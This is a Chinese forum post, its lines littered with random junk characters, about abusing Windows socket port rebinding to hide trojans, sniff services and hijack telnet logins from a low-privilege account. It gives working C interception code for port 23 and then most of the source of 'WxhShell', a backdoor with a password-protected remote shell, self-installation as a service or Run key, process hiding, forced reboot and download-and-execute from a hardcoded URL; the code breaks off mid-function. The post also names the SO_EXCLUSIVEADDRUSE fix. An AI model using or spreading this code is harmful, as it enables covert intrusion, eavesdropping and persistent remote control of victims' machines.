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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -B*= V  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P\pHos  
h.l^f>, /  
  saddr.sin_family = AF_INET; [U5[;BNRD  
!9_HZ(W&  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); HQCxO?  
g=XvqD<  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8iGS=M  
^<}9#q/rt  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;}@.E@s%'  
{^a"T'+  
  这意味着什么?意味着可以进行如下的攻击: 'JU(2mF  
sf<S#;aYqn  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 M ~z A  
!ow:P8K?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :k*'M U}  
Ub2t7MU  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ="Zr.g~8  
W8z4<o[$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O3/][\  
A<fKO <d  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <2"'R(4",  
#>i Bu:\J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 WXV(R,*Tc  
c @7d4Jz  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 q^; SZ^yW5  
)CJXk zOX  
  #include ]V0V8fU|  
  #include Z$LWZg  
  #include dWqKt0uh!  
  #include    `<2k.aW4e8  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q3[MzIk 4  
  int main() = .a}  
  { RtO3!dGT.  
  WORD wVersionRequested; +pXYBwH 7Q  
  DWORD ret; |;sL*Vr  
  WSADATA wsaData; f>!)y-7  
  BOOL val; c<bV3,  
  SOCKADDR_IN saddr; kw{dvE\K  
  SOCKADDR_IN scaddr; >HNBTc=~t  
  int err; Ne#FBRu5  
  SOCKET s; kl%%b"h'  
  SOCKET sc; M15Ce)oB1(  
  int caddsize; >cU#($X$^  
  HANDLE mt; nWb*u  
  DWORD tid;   @6h ,#8#  
  wVersionRequested = MAKEWORD( 2, 2 ); gR1vUad7  
  err = WSAStartup( wVersionRequested, &wsaData );  >M~1{  
  if ( err != 0 ) { cq+G0F+H  
  printf("error!WSAStartup failed!\n"); diHK  
  return -1; |y1O M  
  } !ij R  
  saddr.sin_family = AF_INET; A0X'|4I  
   mh#NmW>n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6Cw+  
/5:2g# S4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); epN> ;e z  
  saddr.sin_port = htons(23); !iv6k~.e'2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6<1 2j7  
  { /Js A[}.6  
  printf("error!socket failed!\n"); kZ<0|b  
  return -1; yX 9 .yq  
  } IR JN  
  val = TRUE; la4 #2>#WZ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 S:B$c>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6`Hd)T5{w  
  { gxnIur)  
  printf("error!setsockopt failed!\n"); }a O6%  
  return -1; |BGB60}]f  
  } O|K-UTWH%  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; MrjgV+P}[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 &3gC&b^i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 CWT#1L=  
]2E#P.-!b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g y5^JL  
  { GmhfBW?  
  ret=GetLastError(); de=){.7Y  
  printf("error!bind failed!\n"); f/xQy}4+~E  
  return -1; i4T=4q  
  } xVxN @[  
  listen(s,2); #q LsAw--Q  
  while(1) mrmm@?  
  { ^_\S)P2c  
  caddsize = sizeof(scaddr); \-Vja{J]  
  //接受连接请求 %_Q+@9  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Ec/&?|$  
  if(sc!=INVALID_SOCKET) tJ Bj9{  
  { ^?M# |>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )[b\wrc   
  if(mt==NULL) :2t0//@X  
  { ='A VI-go5  
  printf("Thread Creat Failed!\n"); GFGW'}w-  
  break; izDfpr}s4  
  } mH.c`*  
  } wqxChTbs  
  CloseHandle(mt); srlxp_^  
  } >Nam@,hm  
  closesocket(s); ZLDO&}  
  WSACleanup(); "DO|B=EejP  
  return 0; 2# 72B  
  }   Bnp\G h  
  DWORD WINAPI ClientThread(LPVOID lpParam) UuS6y9@v  
  { dNu?O>=  
  SOCKET ss = (SOCKET)lpParam; joz0D!-"#  
  SOCKET sc; 2dsXG$-W2  
  unsigned char buf[4096]; =jEVHIYt  
  SOCKADDR_IN saddr; ^[x6p}$  
  long num; Ab #}BHI  
  DWORD val; S>Z07d6&  
  DWORD ret;  g^l~AR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E3hXs6P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o75l&`  
  saddr.sin_family = AF_INET; _V`F_C\\#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); HPMj+xH  
  saddr.sin_port = htons(23); Ec9%RAxl  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t:x"]K  
  { >sjvE4s  
  printf("error!socket failed!\n"); j>8S,b=%  
  return -1; n'To:  
  } a B$x(8pP@  
  val = 100; DD5cUlOSu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) r2%Qk  
  { +~K) ~  
  ret = GetLastError(); %i6/= 'u  
  return -1; Etn uEU  
  } l{I.l  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3/N~`!zeX  
  { IM$ d~C  
  ret = GetLastError(); Wr3z%1  
  return -1; 1%$t;R  
  } =;"eZ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) W7W(jMH  
  { D\^mh{q(  
  printf("error!socket connect failed!\n"); 5BJn_<  
  closesocket(sc); H Y~[/H+:  
  closesocket(ss); z"nMR_TTu  
  return -1; DHg)]FQ/  
  } ^ Paf-/  
  while(1) ?[]jJ  
  { CwM 1 _3cE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e:l7 w3?O  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 wpWZn[j  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 C2CR#b=)i  
  num = recv(ss,buf,4096,0); {[4.<|26  
  if(num>0) Up1 n0  
  send(sc,buf,num,0); tkYPfUvTE  
  else if(num==0) cOf.z)kf6  
  break; \kZ@2.pN  
  num = recv(sc,buf,4096,0); :q c?FQ ;  
  if(num>0) pocXQEg$]  
  send(ss,buf,num,0); z}Lf]w?  
  else if(num==0) Y[N@ )E_G  
  break; 6u'E}hAx|  
  } B)*1[Jf{4  
  closesocket(ss); :9DyABK=Cv  
  closesocket(sc); J`4V\D}n  
  return 0 ; ?bH`  
  } Mp QsM-iW  
:N !s@6  
.,sbqL  
========================================================== q[Tl#*P?y  
cQ;@z2\  
下边附上一个代码,,WXhSHELL #qu;{I#W3  
SP\s{,'F-b  
========================================================== ;VzdlCZ@  
_?]W%R|  
#include "stdafx.h" |!81M|H  
U2r[.Ru  
#include <stdio.h> ? o&goiM  
#include <string.h> v^J']p  
#include <windows.h> (}5};v  
#include <winsock2.h> mPF<2:)wv  
#include <winsvc.h> 4B9D  
#include <urlmon.h> 194n   
O2":)zU.  
#pragma comment (lib, "Ws2_32.lib") z6Fl$FFP  
#pragma comment (lib, "urlmon.lib") ZA&bp{}D  
1,Es'  
#define MAX_USER   100 // 最大客户端连接数 Ey.%: O-Dv  
#define BUF_SOCK   200 // sock buffer KjMwrMgC  
#define KEY_BUFF   255 // 输入 buffer n<P&|RTZ  
l, 9r d[  
#define REBOOT     0   // 重启 Ng1bjq}E2  
#define SHUTDOWN   1   // 关机 TS`m&N{i")  
6"[J[7up  
#define DEF_PORT   5000 // 监听端口 g[' 7$  
La28%10  
#define REG_LEN     16   // 注册表键长度 ly69:TR7I  
#define SVC_LEN     80   // NT服务名长度 'pyIMB?x  
1Vkb}A,'  
// 从dll定义API [wk1p-hf  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x:i,l:x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V["'eJA,,  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); n!sOKw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qC=9m[MI  
37biRXqLH  
// wxhshell配置信息 aTfc>A;  
struct WSCFG { .:XXc  
  int ws_port;         // 监听端口 ~1XC5.*-  
  char ws_passstr[REG_LEN]; // 口令 nI4oQE  
  int ws_autoins;       // 安装标记, 1=yes 0=no z0x^HDAeC  
  char ws_regname[REG_LEN]; // 注册表键名 ^?_MIS`4N  
  char ws_svcname[REG_LEN]; // 服务名 h@]{j_$u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 CfO{KiM(2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 P'SGt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 z}iz~WZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <>(v~a]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" M1]w0~G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ve qB/Q X  
P^ht$)Y  
}; uP$i2Cy  
 c_,pd  
// default Wxhshell configuration d04gmc&*  
struct WSCFG wscfg={DEF_PORT, zJh!Q**  
    "xuhuanlingzhe", $WE=u9m  
    1, r oPC ^Q  
    "Wxhshell", PT~F ^8,)  
    "Wxhshell", oB@)!'  
            "WxhShell Service", cuI&Q?+c}  
    "Wrsky Windows CmdShell Service", A6+qS [  
    "Please Input Your Password: ", QCG-CzJ9 l  
  1, ;dtA-EfOZ  
  "http://www.wrsky.com/wxhshell.exe", fLeHn,*,"  
  "Wxhshell.exe" q,_E HPc  
    }; N?8nlrDQ  
bl^pMt1fv  
// 消息定义模块 V lkJ$f5l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; R5mb4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V6+:g=@U-l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4jlwu0L+  
char *msg_ws_ext="\n\rExit."; BpGyjo J2  
char *msg_ws_end="\n\rQuit."; tk)}4b^\%j  
char *msg_ws_boot="\n\rReboot..."; V3T.EW  
char *msg_ws_poff="\n\rShutdown..."; h#Mx(q  
char *msg_ws_down="\n\rSave to "; C?MKb D=K  
?r*}1WsH  
char *msg_ws_err="\n\rErr!"; CKSs(-hkJ  
char *msg_ws_ok="\n\rOK!"; ks69Z|D  
1d842pt  
char ExeFile[MAX_PATH]; <;@E .I\N  
int nUser = 0; [h_d1\ Cr  
HANDLE handles[MAX_USER]; i-#Dc (9  
int OsIsNt; foBF]7Bz?  
?=1i:h  
SERVICE_STATUS       serviceStatus; 6mIeV0Q'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "r8N- h/P  
l^%52m@{  
// 函数声明 Bs|#7mA[  
int Install(void); hhhxsGyv  
int Uninstall(void); @$CPTv3e  
int DownloadFile(char *sURL, SOCKET wsh); KZ1m 2R}'  
int Boot(int flag); *v: .]_;  
void HideProc(void); 6ZwQ/~7H  
int GetOsVer(void); nEP3B '+  
int Wxhshell(SOCKET wsl); _mQj=  
void TalkWithClient(void *cs); /1m+iM^V  
int CmdShell(SOCKET sock); E(z|LS*3  
int StartFromService(void); k py)kS  
int StartWxhshell(LPSTR lpCmdLine); /!.]Y8yEH  
qVO,sKQ{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :T>OJ"p  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i7rk%q  
n<@C'\j@  
// 数据结构和表定义 #Uep|A  
SERVICE_TABLE_ENTRY DispatchTable[] = 1(_[awBx  
{ Su[(IMw  
{wscfg.ws_svcname, NTServiceMain}, E$A=*-u  
{NULL, NULL} gxJ12' m  
}; ({$rb-  
Lo Y*,Aa&  
// 自我安装 (=Oo=8\  
int Install(void) .]a`-Ofn  
{ 2|(lKFkQ  
  char svExeFile[MAX_PATH]; "\]]?&  
  HKEY key; eht>4)  
  strcpy(svExeFile,ExeFile); ;>fM?ae5  
biForT_no  
// 如果是win9x系统,修改注册表设为自启动 PBcb*7W  
if(!OsIsNt) { /n:Q>8^n'W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V}~',o<m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |N3#of(  
  RegCloseKey(key); %sPq*w.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W^c /l*>v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); *.VNyay  
  RegCloseKey(key); Okd.  ~  
  return 0; H(O|y2   
    } s$lJJL  
  } cxFyN ;7  
} 6\v4#  
else { )T&r770  
2z AxGX  
// 如果是NT以上系统,安装为系统服务 ;!7M<T$&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b2j ~"9  
if (schSCManager!=0) eLV[U  
{ s;[=B  
  SC_HANDLE schService = CreateService B?e] Ht  
  ( W59xe&l  
  schSCManager, kbbHa_;aqV  
  wscfg.ws_svcname, "ub0}p4V  
  wscfg.ws_svcdisp, gNkBHwv  
  SERVICE_ALL_ACCESS, K$s{e0 79  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SLH;iqPT  
  SERVICE_AUTO_START, 83aWMmA(1  
  SERVICE_ERROR_NORMAL, ^>eV}I5ak  
  svExeFile, u6:$AA  
  NULL, +1\t 0P24  
  NULL, G_WHW(8   
  NULL, W@%g_V}C*  
  NULL, o3NB3@uj<  
  NULL  `=B v+  
  ); v-"nyy-&Z  
  if (schService!=0) -q nOq[  
  { 'z=d&K  
  CloseServiceHandle(schService); 2E!Q5 l!j  
  CloseServiceHandle(schSCManager); *Uf>Xr&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hM=X# ;  
  strcat(svExeFile,wscfg.ws_svcname); _?K,Jc8j.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d6 9dC*>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M6V^ur 1  
  RegCloseKey(key); Kw:%B|B<T  
  return 0; /1bQ RI^\  
    } 5Q8s{WQ  
  } C}pQFL{B5  
  CloseServiceHandle(schSCManager);  ;<%th  
} ~LP5hL  
} %F}d'TPx  
F ^m;xy  
return 1; W A*1_  
} M!%|IKw  
-3m!970  
// 自我卸载 t8.3  
int Uninstall(void) |eJR3o  
{ I SdB5Va  
  HKEY key; Im]6-#(9\|  
qd~9uo&[Ig  
if(!OsIsNt) { EN8xn9M?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D^U?!S&4~  
  RegDeleteValue(key,wscfg.ws_regname); U]9k,#  
  RegCloseKey(key); WZP1g kX&M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b?, =|H  
  RegDeleteValue(key,wscfg.ws_regname); QNxxW2+  
  RegCloseKey(key); K(P.i^k  
  return 0; w02C1oGfx  
  } ^oClf(  
} _~}2@&*G"  
} J: I@kM  
else { h}DKFrHW;-  
S&D8Rao5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); N&|,!Cu  
if (schSCManager!=0) gr# |ZK.`  
{ s3K!~v\L]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'tjqfR  
  if (schService!=0) k/BlkjlNE  
  { l?Ibq}[~  
  if(DeleteService(schService)!=0) { 7?);wh7`  
  CloseServiceHandle(schService); T`]P5Bk8r  
  CloseServiceHandle(schSCManager); k[f_7lJ2  
  return 0; oR3t vw.  
  } CW.T`F  
  CloseServiceHandle(schService); !;${2Q  
  } ocZ^rqo2w  
  CloseServiceHandle(schSCManager); [N<rPHT  
} 1 (e64w@  
} .SNg2.  
EW+QVu@  
return 1; >t%@)]*N  
}  [ A 7{}  
~)6EH`-  
// 从指定url下载文件 _g'x=VJF  
int DownloadFile(char *sURL, SOCKET wsh) A\13*4:;l  
{ +wI<w|!  
  HRESULT hr; 'q@vTM'-  
char seps[]= "/"; rD9:4W`^  
char *token; >Pvz5Hf/wW  
char *file; ;krIuk-  
char myURL[MAX_PATH]; h R6Pj"@0  
char myFILE[MAX_PATH]; Ry?f; s  
~mv5{C  
strcpy(myURL,sURL); N:Ir63X*#  
  token=strtok(myURL,seps); ?0qP6'nWx  
  while(token!=NULL) \m:('^\6o  
  { . lNf.x#u  
    file=token; EG3u)}vI  
  token=strtok(NULL,seps); Ynp#3 r  
  } e{ *yV#Wl  
;<nJBZB9u  
GetCurrentDirectory(MAX_PATH,myFILE); @Qp#Tg<'  
strcat(myFILE, "\\"); Gi*_ &  
strcat(myFILE, file); P?zaut  
  send(wsh,myFILE,strlen(myFILE),0); agQD d8oX  
send(wsh,"...",3,0); vF/wV'Kk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); e0<O6  
  if(hr==S_OK) nyBT4e  
return 0; U"~W3vwJ  
else KleiX7  
return 1; 5 Yww,s  
oY7jj=z#T  
} tk>J mcTw  
M|{NC`fa  
// 系统电源模块 wyXQP+9G  
int Boot(int flag) @ rF|WT  
{ :H+8E5  
  HANDLE hToken; ,,BWWFg~  
  TOKEN_PRIVILEGES tkp; {kr14 l*2  
M5L/3qLh1  
  if(OsIsNt) { cmU>A721  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K_!:oe7%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z#YNL-x  
    tkp.PrivilegeCount = 1; R dNL f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |IS$Om  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F07X9s44E  
if(flag==REBOOT) { p./0N.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aK 7 }}  
  return 0; yhs:.h  
} OB*V4Yv  
else { {<?8Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .N`*jT  
  return 0; G.PRPl  
} 'K#ndCGJ$  
  } %joL}f[  
  else { <Y$( l szT  
if(flag==REBOOT) { )V&hS5P=S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `PSjk F(  
  return 0; Xg* ](>/\,  
} V)vik  
else { 8IE^u<H(:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u(\O@5a  
  return 0; -Zp BYX5e_  
} !SIk9~rJ  
} sV\K[4HG  
W!Fc60>p@f  
return 1; 6Rmdf>a  
} Rz[3cN)?q  
VKf&}u/  
// win9x进程隐藏模块 /'b7q y  
void HideProc(void) d[XMQX  
{ "\ =Phqw   
cLw|[!5:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M>}_2G]#F  
  if ( hKernel != NULL ) Qkhor-f0  
  { $48 Z>ij?f  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D3%2O`9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1Kd6tnX  
    FreeLibrary(hKernel); mrr~#Bb>  
  } j-.Y!$a%6  
|q z%6w=  
return; f8`dJ5i  
} n9n)eI)R  
p@[ fZj  
// 获取操作系统版本 < fV][W  
int GetOsVer(void) }r!hm?e  
{ 3dSC`K  
  OSVERSIONINFO winfo; _uXb>V*8  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J_.cC  
  GetVersionEx(&winfo); b&dv("e 4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 1:>F{g  
  return 1; +C[g>c}d  
  else 1ANb=X|hig  
  return 0; P{yb%@I~J  
} <HzL%DX  
QodWUbi'&  
// 客户端句柄模块 YPf?  
int Wxhshell(SOCKET wsl) `b%lojT.  
{ n?;rWq"  
  SOCKET wsh; xu%eg]  
  struct sockaddr_in client; 1<5Ug8q  
  DWORD myID; H Ix%c5^  
~_c1h@  
  while(nUser<MAX_USER) n.z,-H17  
{ ]5Dh<QY&.  
  int nSize=sizeof(client); -V;BkE76  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hmt2~>FI[  
  if(wsh==INVALID_SOCKET) return 1; MU(I#Prpe  
-;J6S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #sDb611}#  
if(handles[nUser]==0) +jyGRSo  
  closesocket(wsh); X6 N&:<  
else 7 nFOV Z  
  nUser++; / *PHX@  
  }  bLAHVi<.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2#r4dr0  
'W yWO^Bdk  
  return 0; akU2ToP  
} 4^M"V5tDx  
:O$bsw:3w<  
// 关闭 socket >#k- ~|w  
void CloseIt(SOCKET wsh) ^YropzHZ4E  
{ &i.sSqSI5  
closesocket(wsh); 7GWOJ^)  
nUser--; y&-QLX L  
ExitThread(0); nosD1sS.K8  
} e}S+1G6r)  
|ns?c0rM  
// 客户端请求句柄 )>S,#_e*b  
void TalkWithClient(void *cs) %W)pZN}  
{ $(Mz@#%  
7.6L1srV  
  SOCKET wsh=(SOCKET)cs; 7B (%2  
  char pwd[SVC_LEN]; x +pf@?w  
  char cmd[KEY_BUFF]; 2\QsF,@`YU  
char chr[1]; 9 fYNSr  
int i,j; 3RT\G0?8f  
qc 5[ e  
  while (nUser < MAX_USER) { #j=yQrJ  
G{E`5KIvm  
if(wscfg.ws_passstr) { Zd-6_,r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2wHbhW[  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >3Q|k{97  
  //ZeroMemory(pwd,KEY_BUFF); y!.jpF'uI  
      i=0; RZ xwr  
  while(i<SVC_LEN) { =R|XFZ,  
Y`Io}h G$  
  // 设置超时 vIbM@Y4 '?  
  fd_set FdRead; dK4rrO  
  struct timeval TimeOut; ]L7A$sTUQ  
  FD_ZERO(&FdRead); 2R.L LE  
  FD_SET(wsh,&FdRead); _Uq' N0U  
  TimeOut.tv_sec=8; Fu tS  
  TimeOut.tv_usec=0; Mjy:k|aY"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); a4=(z72xe  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); S!.&#sc  
I4{xQI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cul=,;pkB  
  pwd=chr[0]; q*3keB;X  
  if(chr[0]==0xd || chr[0]==0xa) { wz*iwd-  
  pwd=0; (Y@T5-!D  
  break; $?G@ijk,  
  } |f#hGk6  
  i++; pX?3inQP%(  
    } v/.'st2%  
f,KB BBbG  
  // 如果是非法用户,关闭 socket cN8Fn4gq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'in%Gii  
} v#d\YV{I  
k[;)/LfhS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <\u3p3"[4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IrqM_OjC  
oDz|%N2s|  
while(1) { E)gD"^rex  
R=lw}jH[Z  
  ZeroMemory(cmd,KEY_BUFF); 2 HEU  
dD=$$( je  
      // 自动支持客户端 telnet标准   a3tcLd|7J  
  j=0; 89g a+#7  
  while(j<KEY_BUFF) { JfIXv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MK=oGzK  
  cmd[j]=chr[0]; 0lg$zi x(  
  if(chr[0]==0xa || chr[0]==0xd) { H.@$#D  
  cmd[j]=0; KBmOi  
  break;  % D  
  } O {1" I  
  j++; EIg~^xK  
    } 'Oue 1[  
3I_^F&T  
  // 下载文件 pg4W?N`  
  if(strstr(cmd,"http://")) { % /VCjuV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &uK(. @  
  if(DownloadFile(cmd,wsh)) 6*q1%rs:w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^{4BcM7eH  
  else =cS&>MT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jtP*C_Scv/  
  } Q'/sP 5Pj  
  else { d +D~NA[M  
oLT#'42+H  
    switch(cmd[0]) { L7-BuW}&  
  1 :p'  
  // 帮助 ew~Z/ A   
  case '?': { >v.f H6P,}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P1Hab2%+  
    break; CO='[1"_5  
  } g Ed A hfx  
  // 安装 e0zP LU}  
  case 'i': { Z8 #nu  
    if(Install()) 7~e,"^>T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @M5+12FYt  
    else Lt't   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N}?|ik  
    break;  GfE>?mG  
    } d:(Ex^^  
  // 卸载 L,[Q/ $S8  
  case 'r': { = :gKh  
    if(Uninstall()) Fv pU]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iBSM \ n  
    else im2mA8OH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #'_#t/u  
    break; V]F D'XAl  
    } '[ t.  
  // 显示 wxhshell 所在路径 ,a?)O6?/  
  case 'p': { gwoe1:F:J  
    char svExeFile[MAX_PATH]; *#T: _  
    strcpy(svExeFile,"\n\r"); S hI1f  
      strcat(svExeFile,ExeFile); .~f )4'T 9  
        send(wsh,svExeFile,strlen(svExeFile),0); PR%)3  
    break; )@NFV*@I  
    } i1vz{Tc  
  // 重启 d4S4 e  
  case 'b': { V*jl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pl`4&y%Me  
    if(Boot(REBOOT)) &n6{wtBP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z<nNk.G  
    else { lYG`)#T  
    closesocket(wsh); NN*L3yx  
    ExitThread(0); jIubJQR~  
    } J3eud}w  
    break; 8;@y\0  
    } >n"0>[:4  
  // 关机 Nn LK!Q  
  case 'd': { [ohLG_9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >dl5^  
    if(Boot(SHUTDOWN)) 4YfM.~ 6  
